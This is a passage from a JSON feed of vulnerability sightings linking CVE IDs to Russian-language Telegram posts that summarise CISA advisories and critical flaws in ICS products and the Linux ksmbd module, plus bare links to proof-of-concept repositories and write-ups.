\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438,  CVE-2022-41223 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,8) \u0438 CVE-2022-40765 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 6,8),  \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442 \u0432 Mitel MiVoice Connect \u0438 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u0439 \u0441\u0435\u0442\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \u041e\u0431\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0431\u044b\u043b\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u044b Mitel \u0432 \u043e\u043a\u0442\u044f\u0431\u0440\u0435 2022 \u0433\u043e\u0434\u0430.\n\n\u0422\u0430\u043a\u0436\u0435 CISA \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438 \u043f\u043e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (ICS), \u043a\u0430\u0441\u0430\u044e\u0449\u0438\u0435\u0441\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (CVE-2022-26377 \u0438 CVE-2022-31813) \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 MELSOFT iQ AppPortal \u043e\u0442 Mitsubishi Electric.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \n\nhttps://www.cisa.gov/uscert/ncas/current-activity/2023/02/21/cisa-adds-three-known-exploited-vulnerabilities-catalog \n\nhttps://www.cisa.gov/uscert/ncas/current-activity/2023/02/21/cisa-releases-two-industrial-control-systems-advisories \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #CISA", "creation_timestamp": "2026-07-29T00:00:53.159527Z"}, {"uuid": "f9860b5b-c58b-4149-99c2-0c48e548cf20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47911", "type": "seen", "source": "https://t.me/EchelonEyes/1082", "content": "CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043c\u0430\u0441\u0441\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f\n\n\u0410\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0421\u0428\u0410 \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b (CISA) \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u043e \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435\u0439 \u043f\u043e \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u043c \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u043c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f (ICS), \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044f \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b Sewio, InHand Networks, Sauter Controls \u0438 Siemens.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441\u0432\u044f\u0437\u0430\u043d\u044b \u0441 RTLS Studio Sewio \u2013 \u0441\u0438\u0441\u0442\u0435\u043c\u043e\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0438 \u0434\u043b\u044f \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u043f\u043e\u043c\u0435\u0449\u0435\u043d\u0438\u0439. \u041e\u0434\u043d\u0430 \u0438\u0437 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2022-45444 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 10,0), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0436\u0435\u0441\u0442\u043a\u043e \u0437\u0430\u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u0430\u0440\u043e\u043b\u044f\u043c \u0434\u043b\u044f \u0438\u0437\u0431\u0440\u0430\u043d\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u0437\u0430\u0445\u043e\u0434\u0438\u0442\u044c \u0432 \u0431\u0430\u0437\u0443 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441 \u043d\u0435\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c. \u0422\u0430\u043a\u0436\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442 \u0434\u0432\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 (CVE-2022-47911 \u0438 CVE-2022-43483, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,1) \u0438 \u043e\u0448\u0438\u0431\u043a\u0430 \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0433\u0440\u0430\u043d\u0438\u0446 (CVE-2022-41989, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,1), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043e\u0442\u043a\u0430\u0437\u0443 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438 \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u0445\u0430\u043a\u0435\u0440\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u0412\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 CISA \u0443\u043a\u0430\u0437\u0430\u043b\u0430 \u043d\u0430 \u043f\u044f\u0442\u044c \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 InHand Networks InRouter 302 \u0438 InRouter 615, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u0434\u0430. \u0421\u0440\u0435\u0434\u0438 \u043f\u0435\u0440\u0435\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u2013CVE-2023-22600, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0438\u0439 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS: 10,0.\n\n\u0422\u0430\u043a\u0436\u0435 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0432 Sauter Controls Nova 220, Nova 230, Nova 106 \u0438 moduNet300, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0440\u043e\u0441\u043c\u043e\u0442\u0440 \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2023-0053, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 7,5) \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2023-0052, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,8).\n\n\u041d\u0430\u043a\u043e\u043d\u0435\u0446, \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043b\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u0435\u0436\u0441\u0430\u0439\u0442\u043e\u0432\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0438\u043d\u0433\u0430 (XSS) \u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0438 Siemens Mendix SAML (CVE-2022-46823, \u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9,3), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e, \u043e\u0431\u043c\u0430\u043d\u043e\u043c \u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0432 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0449\u0435\u043b\u043a\u043d\u0443\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u0432\u044f\u0437\u044c.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.cisa.gov/uscert/ncas/current-activity/2023/01/12/cisa-releases-twelve-industrial-control-systems-advisories \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #ICS #CISA", "creation_timestamp": "2026-07-29T01:00:29.256427Z"}, {"uuid": "a8338e1c-016f-46d2-b002-cc6ebeb43a4a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47615", "type": "seen", "source": "https://t.me/CVEhub/19328", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-47615*\nGithub: https://github.com/RandomRobbieBF/CVE-2022-47615", "creation_timestamp": "2026-07-29T12:00:06.269042Z"}, {"uuid": "ee536003-6832-4c28-bb0a-6411714fff51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47909", "type": "seen", "source": "https://t.me/CVEhub/9246", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#CVE-2022\nName: *CVE-2022-47909_unauth_arbitrary_file_deletion*\nGithub: https://github.com/JacobEbben/CVE-2022-47909_unauth_arbitrary_file_deletion", "creation_timestamp": "2026-07-29T12:00:44.973135Z"}, {"uuid": "b159fe71-8150-49af-89a2-0c5329aba932", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/reverseame/3128", "content": "A Different Payload for CVE-2022-47966 https://vulncheck.com/blog/cve-2022-47966-payload", "creation_timestamp": "2026-07-29T12:02:33.808942Z"}, {"uuid": "48f8ef2c-00c1-42e1-8fa8-6f39ef57cdcb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47966", "type": "seen", "source": "https://t.me/reverseame/3064", "content": "CVE-2022-47966 https://attackerkb.com/topics/gvs0Gv8BID/cve-2022-47966/rapid7-analysis", "creation_timestamp": "2026-07-29T12:02:34.421502Z"}, {"uuid": "131b521d-6892-42e9-8488-4e613d75e43d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47629", "type": "seen", "source": "https://t.me/reverseame/3024", "content": "Write-up of CVE-2022-47629 https://github.com/elttam/publications/blob/master/writeups/CVE-2022-47629.md", "creation_timestamp": "2026-07-29T12:02:34.579997Z"}, {"uuid": "0a64cfac-8db7-4e28-8a5a-590d1de440a6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/cisoclub/2159", "content": "\u041e\u0431\u0437\u043e\u0440 #\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0437\u0430 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0443\u044e \u043d\u0435\u0434\u0435\u043b\u044e (19-25 \u0434\u0435\u043a\u0430\u0431\u0440\u044f)\n\n1\ufe0f\u20e3 \u0412 \u0441\u043e\u0444\u0442\u0432\u0435\u0440\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0432\u044b\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0430\u0445 Citrix ADC \u0438 Gateway \ud83d\udd0e\u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u043e\u043d\u0438\u043a\u0430\u0442\u044c \u0432 IT-\u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438.\n\n2\ufe0f\u20e3 \u0418\u0437-\u0437\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0430\u043c\u0438 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043f\u043b\u0430\u0433\u0438\u043d YITH WooCommerce Gift Cards Premium, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0439 \u0431\u043e\u043b\u0435\u0435 \u0447\u0435\u043c \u043d\u0430 50 000 \u0441\u0430\u0439\u0442\u0430\u0445 \ud83d\udcf0WordPress. \n\n3\ufe0f\u20e3 \u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043c\u043e\u0441\u0442\u0430\u0445 Hikvision \u043f\u0440\u0438 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \ud83e\uddb9\u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0446\u0435\u043b\u0435\u0432\u044b\u043c \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u043e\u043c. \n\n4\ufe0f\u20e3 \u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \ud83c\uddf7\ud83c\uddfaPositive Technologies \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 7 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u043c \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432 \ud83c\uddef\ud83c\uddf5\u044f\u043f\u043e\u043d\u0441\u043a\u043e\u0439 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Mitsubishi Electric.\n\n5\ufe0f\u20e3 \u0421 \u043f\u0440\u043e\u0448\u043b\u043e\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \u043f\u043e \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 \u00ab\u041e\u0445\u043e\u0442\u044b \u0437\u0430 \u043e\u0448\u0438\u0431\u043a\u0430\u043c\u0438\u00bb \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u00ab\u042f\u043d\u0434\u0435\u043a\u0441\u00bb \u043d\u0430\u043c\u0435\u0440\u0435\u043d\u0430 \u0432\u044b\u043f\u043b\u0430\u0447\u0438\u0432\u0430\u0442\u044c \u0432 \u0434\u0432\u0430 \u0440\u0430\u0437\u0430 \u0431\u043e\u043b\u044c\u0448\u0435 \ud83d\udcb0\u0434\u0435\u043d\u0435\u0433 \u0431\u0430\u0433\u0445\u0430\u043d\u0442\u0435\u0440\u0430\u043c \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u0445 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438.\n\n6\ufe0f\u20e3 \u041f\u0440\u043e\u0448\u0435\u0434\u0448\u0438\u043c \u043b\u0435\u0442\u043e\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u044b \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Thales Group \u0432\u044b\u044f\u0432\u0438\u043b\u0438 \u2755\u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2022-47939) \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u044f\u0434\u0440\u0430 Linux, \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u0432 \u044f\u0434\u0440\u043e \u200b\u200b\u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.15. \n\n7\ufe0f\u20e3 \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438, \u0447\u0442\u043e \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \ud83d\udcbb \u043f\u0430\u0440\u043e\u043b\u0435\u0439 Passwordstate enterprise, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0439 \u0430\u0432\u0441\u0442\u0440\u0430\u043b\u0438\u0439\u0441\u043a\u043e\u0439 \u0444\u0438\u0440\u043c\u043e\u0439 Click Studios, \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n8\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Foxit Software \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \ud83d\udee0\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u0432\u0430\u0436\u043d\u043e\u0441\u0442\u0438, \u0447\u0442\u043e\u0431\u044b \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u0442\u044c \u043e\u043f\u0430\u0441\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0441\u0432\u043e\u0438\u0445 \u0444\u043b\u0430\u0433\u043c\u0430\u043d\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 PDF Reader \u0438 PDF Editor.", "creation_timestamp": "2026-07-29T12:03:11.225073Z"}, {"uuid": "7155842d-dfc9-4fa4-b6bb-06d3f81fa432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47075", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-08-27)", "content": "", "creation_timestamp": "2026-08-28T10:00:06.643851Z"}, {"uuid": "c163ed8d-59b1-4eb8-a02d-2c3449dfd7d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-47939", "type": "seen", "source": "https://t.me/shmelovod/673", "content": "\u200b\ud83d\udc27 \u0412 \u044f\u0434\u0440\u0435 Linux \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0431\u0430\u0433\n\n\u0421\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0438\u0437 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Thales Group \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043c\u043e\u0434\u0443\u043b\u0435 ksmbd \u044f\u0434\u0440\u0430 Linux, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u044b\u043b \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0432 \u0432\u0435\u0440\u0441\u0438\u0438 5.15. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2022-47939 \u0438 10 \u0431\u0430\u043b\u043b\u043e\u0432 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS.\n\nksmbd - \u044d\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440, \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043d\u0430 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u0435 SMB3 \u0438 \u044f\u0432\u043b\u044f\u044e\u0449\u0438\u0439\u0441\u044f \u043f\u0440\u043e\u0441\u0442\u043e\u0439 \u0430\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u043e\u0439 Samba. \u041e\u043d \u043e\u0440\u0438\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 \u0431\u043e\u043b\u0435\u0435 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u044c \u0438 \u043d\u043e\u0432\u044b\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 